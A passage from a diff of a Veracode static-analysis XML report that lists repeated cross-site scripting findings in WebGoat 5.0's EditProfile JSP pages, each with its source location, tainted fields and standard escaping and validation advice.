-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"37\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"125\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getSsn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"61\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getSsn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"65\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getSsn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"82\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"41\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"249\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getCcn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"140\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getCcn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"152\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getCcn().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"90\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"47\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"134\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"142\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"73\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"98\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"54\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"131\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
-        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
-        and java.sql.preparedstatement.executequery. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
-        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
-        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
-        cia_impact=\"ppn\" grace_period_expires=\"\" affects_policy_compliance=\"false\"
-        sourcefile=\"EditProfile_jsp.java\" line=\"102\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
-        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
-        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
-        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"57\">\n<exploitability_adjustments>\n<exploitability_adjustment
-        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
-        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
-        severity=\"3\" categoryname=\"Improper Neutralization of Script-Related HTML
-        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"157\" module=\"WebGoat-5.0-with-jsp.war\"
-        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
-        contains a cross-site scripting (XSS) flaw. The application populates the
-        HTTP response with user-supplied input, allowing an attacker to embed malicious
-        content, such as Javascript code, which will be executed in the context of
-        the victim's browser. XSS vulnerabilities are commonly exploited to steal
-        or manipulate cookies, modify presentation of content, and compromise confidential
-        information, with new attack vectors being discovered on a regular basis.
-        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
-        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
-        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
-        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
-        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
-        contextual escaping on all untrusted data before using it to construct any
-        portion of an HTTP response. The escaping method should be chosen based on
-        the specific use case of the untrusted data, otherwise it may not protect
-        fully against the attack. For example, if the data is being written to the
-        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
-        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
-        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
-        In addition, as a best practice, always validate user-supplied input to ensure
-        that it conforms to the expected format, using centralized data validation
-        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
-        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
